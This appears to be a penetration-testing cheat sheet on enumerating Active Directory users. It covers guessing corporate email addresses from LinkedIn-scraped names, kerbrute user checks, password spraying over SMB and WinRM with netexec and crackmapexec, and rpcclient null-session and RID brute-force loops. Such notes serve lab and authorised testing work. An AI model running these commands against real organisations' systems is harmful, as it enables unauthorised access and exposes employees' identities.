GENERATE USER LIST¶
-
Websites like hunter.io help discover employee email patterns. For example, entering "apple.com" shows that emails often follow the pattern {f}{last}@apple.com. So, instead of finding each email, you can guess them. By scraping a list of Apple employees from LinkedIn, you can transform names into emails (e.g., Steve Jobs becomes s.jobs@apple.com). While not all guesses will be accurate, many should be correct.
-
Alternatively, we can use a Python script to generate potential usernames
wget https://gist.githubusercontent.com/superkojiman/11076951/raw/74f3de7740acb197ecfa8340d07d3926a95e5d46/namemash.py
-
Once you have the list, we can verify if these usernames exist using kerbrute:
kerbrute userenum --dc [IP-ADRESS] -d hackfast.local username.lst
NOTE: you can also use username wordlist:
/usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
SMB ENUMERATION¶
- Netexec with SMB:
netexec smb [IP-ADRESS] -u users.txt -p '[PASSWORD]' --continue-on-success
- CrackMapExec with SMB:
crackmapexec smb [IP-ADRESS] -u users.txt -p '[PASSWORD]' --continue-on-success
WINRM ENUMERATION¶
- Netexec with Winrm:
netexec winrm office.htb -u users.txt -p '[PASSWORD]' --continue-on-success
- CrackMapExec with Winrm:
crackmapexec winrm 10.10.10.184 -u users.txt -p '[PASSWORD]' --continue-on-success
RPCCLIENT ENUMERATION¶
-
Start Null Session:
rpcclient -U "" -N [IP_ADDRESS]
-
List All Users in the Domain:
rpcclient -U "" -N [IP_ADDRESS] -c "enumdomusers" > output.txt
-
Extract User Names:
cat output.txt | awk -F\[ '{print $2}' | awk -F\] '{print $1}' > users.lst
-
Brute Forcing User RIDs:
for i in $(seq 500 1100); do rpcclient -N -U "" [IP_ADDRESS] -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name|user_rid|group_rid" && echo ""; done